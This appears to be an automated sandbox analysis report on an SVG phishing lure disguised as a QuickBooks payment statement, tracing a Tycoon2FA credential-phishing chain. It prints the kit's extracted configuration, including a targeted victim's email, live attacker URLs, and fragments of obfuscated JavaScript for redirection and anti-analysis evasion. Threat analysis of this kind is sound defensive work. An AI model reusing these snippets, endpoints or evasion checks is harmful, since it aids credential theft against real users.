Create Interactive Tour

Windows Analysis Report
4354_QB_Paymt_Statemnt.svg

Overview

General Information

Sample name:	4354_QB_Paymt_Statemnt.svg
Analysis ID:	1648196
MD5:	6295d383a832256b8d951cf19d44cabe
SHA1:	4803fd38f9ce998bbaeeda4e931014ae4c10cfa6
SHA256:	7f8d543c9b838817e52d1c0ddeb203a892c7d0bc392c7df5f14ac33717d34b3f
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

HTML page contains suspicious javascript code

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3528 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 2584 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2096,i,4625138158765404214,6670854772082926395,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2148 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7224 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\4354_QB_Paymt_Statemnt.svg" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "P6ThlT",
  "emailcheck": "braden@humphreyscapital.com",
  "webname": "rtrim(/web8/, '/')",
  "urlo": "/rnTqwRZpKsqnr655sK1qTI2O0HGdb85PM6HGnHijEIUQvh",
  "gdf": "/ij85DsTysU61Qsnr8WxwxJSYiqni7dcd119"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_123	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
1.8.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.19.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
2.14..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.14..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.3.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.15..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.15..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.2.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.9..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.2.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.22..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.8.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.8.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.8.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.6.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.6.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.7.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.7.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.3.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.3.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.9.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.9.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.9.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 24 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 2.19.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "P6ThlT", "emailcheck": "braden@humphreyscapital.com", "webname": "rtrim(/web8/, '/')", "urlo": "/rnTqwRZpKsqnr655sK1qTI2O0HGdb85PM6HGnHijEIUQvh", "gdf": "/ij85DsTysU61Qsnr8WxwxJSYiqni7dcd119"}

Phishing

AI detected phishing page

Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'ojjk.threaw.ru' does not match the legitimate domain for Microsoft., The URL uses a '.ru' domain extension, which is unusual for Microsoft and could indicate a phishing attempt., The URL contains random characters and does not resemble any known Microsoft subdomain or service., The presence of a well-known brand like Microsoft on an unrelated domain is a common phishing tactic. DOM: 2.6.pages.csv
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'ojjk.threaw.ru' does not match the legitimate domain for Microsoft., The URL uses a '.ru' domain extension, which is unusual for Microsoft and could indicate a phishing attempt., The URL does not contain any recognizable association with Microsoft., The presence of a password input field on a non-legitimate domain is suspicious. DOM: 2.7.pages.csv
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'ojjk.threaw.ru' does not match the legitimate domain for Microsoft., The domain 'threaw.ru' is unrelated to Microsoft and uses a Russian domain extension, which is unusual for Microsoft., The presence of an input field asking for a password on an unrelated domain is suspicious and indicative of phishing. DOM: 2.8.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 2.8.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.7.pages.csv, type: HTML
Source: Yara match	File source: 2.9.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.9..script.csv, type: HTML
Source: Yara match	File source: 2.22..script.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_123, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 2.19.d.script.csv, type: HTML
Source: Yara match	File source: 1.8.d.script.csv, type: HTML
Source: Yara match	File source: 1.12.d.script.csv, type: HTML
Source: Yara match	File source: 2.14..script.csv, type: HTML
Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 2.15..script.csv, type: HTML
Source: Yara match	File source: 2.8.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.7.pages.csv, type: HTML
Source: Yara match	File source: 2.9.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/4354_QB_Paymt_St... The provided JavaScript snippet demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code and URLs. The script appears to be performing malicious activities, such as decoding and executing potentially harmful code. Additionally, the script interacts with suspicious domains, further increasing the risk. Overall, this script exhibits a high level of malicious intent and should be considered a significant security threat.
Source: 2.15..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrt... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It attempts to detect the presence of web automation tools, redirects to a suspicious domain, and includes keylogging functionality to capture sensitive user input. These behaviors are highly indicative of malicious intent, warranting a high-risk score.
Source: 1.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ojjk.threaw.ru/BlKkhx/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of the `Function` constructor to execute a base64-encoded string, along with the presence of obfuscated code and a redirect to an unknown domain, indicates a high likelihood of malicious intent. Additionally, the script attempts to detect and bypass common security measures, further increasing the risk score.
Source: 1.4..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ojjk.threaw.ru/BlKkhx/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` to decode base64-encoded strings, followed by `eval()` to execute the decoded content, poses a significant security risk. Additionally, the script appears to be sending user data to an untrusted domain, which is a clear indicator of malicious intent. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 2.14..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrt... This script exhibits several high-risk behaviors, including detecting browser automation tools, blocking keyboard shortcuts, preventing right-click context menus, and intercepting the clipboard. It also includes a suspicious redirection to an external website and a debugger trap that could be used for malicious purposes. These behaviors indicate a high likelihood of malicious intent, warranting a high-risk score.
Source: 2.22..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ojjk.threaw.ru/56SnUlnJtnstXtTlL4qUNVklHSq... This script demonstrates several high-risk behaviors, including dynamic code execution using `eval()`, potential data exfiltration, and the use of heavily obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, and this script should be treated with extreme caution.
Source: 1.9..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ojjk.threaw.ru/BlKkhx/... This script demonstrates high-risk behaviors, including dynamic code execution through the use of a Proxy object that evaluates decoded strings. The obfuscated nature of the code and the potential for remote code execution make this a high-risk script.
Source: 2.18..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrt... This script demonstrates several high-risk behaviors, including dynamic code execution via `eval()`, data exfiltration to potentially untrusted domains, and the use of obfuscated code/URLs. The script also exhibits moderate-risk behaviors such as external data transmission and the use of multiple fallback domains. While the script may have some legitimate functionality, the overall risk profile is high due to the presence of multiple malicious indicators.

HTML page contains suspicious javascript code

Source: file:///C:/Users/user/Desktop/4354_QB_Paymt_Statemnt.svg

HTTP Parser: window.location.href = atob(

Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI

HTTP Parser: Number of links: 0

Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://ojjk.threaw.ru/BlKkhx/#Ebraden@humphreyscapital.com

HTTP Parser: Base64 decoded: if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function SJxtUdULBj(event) { co...

Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI

HTTP Parser: Title: Enter Protected Profile does not match URL

Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: Invalid link: Terms of use
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: Invalid link: Privacy & cookies
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: Invalid link: Terms of use
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: Invalid link: Privacy & cookies
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: Invalid link: Terms of use
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: Invalid link: Privacy & cookies
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: Invalid link: Terms of use
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: Invalid link: Privacy & cookies

Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "p6thlt";var emailcheck = "braden@humphreyscapital.com";var webname = "rtrim(/web8/, '/')";var urlo = "/rntqwrzpksqnr655sk1qti2o0hgdb85pm6hgnhijeiuqvh";var gdf = "/ij85dstysu61qsnr8wxwxjsyiqni7dcd119";var odf = "/ijcx6blmkt413o6tkwxotzfeuu24ab647";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.match(/edg/i)){ ...
Source: https://ojjk.threaw.ru/BlKkhx/	HTTP Parser: function yfxbvjzvcl(){vsrzpcpvqy = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+ug9ydgzvbglvicygqwdlbmn5ic0gtw9kzxjuierlc2lnbjwvdgl0bgu+ciagpgxpbmsgahjlzj0iahr0chm6ly9mb250cy5nb29nbgvhcglzlmnvbs9jc3myp2zhbwlset1nb250c2vycmf0ondnahrandawozcwmczmyw1pbhk9um9ib3rvondnahramzawozqwmds1mdamzglzcgxhet1zd2fwiibyzww9inn0ewxlc2hlzxqipgogidxzdhlszt4kicagic8qiedlbmvyywwgu3r5bgvzicovciagicbib2r5ihskicagicagzm9udc1myw1pbhk6icdsb2jvdg8nlcbzyw5zlxnlcmlmowogicagicbtyxjnaw46ida7ciagicagihbhzgrpbmc6ida7ciagicagignvbg9yoiajmzmzowogicagicbsaw5llwhlawdoddogms42owogicagicbiywnrz3jvdw5klwnvbg9yoiajzjrmngy5owogicagfqokicagiggxlcbomiwgadmgewogicagicbmb250lwzhbwlsetogj01vbnrzzxjyyxqnlcbzyw5zlxnlcmlmowogicagicbjb2xvcjogizjjm2u1mdskicagih0kciagicbhihskicagicagy29sb3i6icmzndk4zgi7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagih0kciagicbhomhvdmvyihskicagicagdgv4dc1kzwnvcmf0aw9uoib1bmrlc...

Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI

HTTP Parser: <input type="password" .../> found

Source: https://ojjk.threaw.ru/BlKkhx/#Ebraden@humphreyscapital.com	HTTP Parser: No favicon
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: No favicon
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: No favicon
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: No favicon
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: No favicon

Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: No <meta name="author".. found
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: No <meta name="author".. found
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: No <meta name="author".. found
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: No <meta name="author".. found

Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: No <meta name="copyright".. found
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: No <meta name="copyright".. found
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: No <meta name="copyright".. found
Source: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.251.35.164:443 -> 192.168.2.6:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.167.219:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.167.219:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.29.234:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.149.248:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.167.219:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.6:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.6:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.6:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.55.185:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.55.185:443 -> 192.168.2.6:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.6:49813 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 140.82.113.3 140.82.113.3
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.81.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.81.227
Source: unknown	TCP traffic detected without corresponding DNS query: 23.33.40.139
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.24.149
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.24.149
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 20.191.45.158
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /BlKkhx/ HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ojjk.threaw.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ojjk.threaw.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
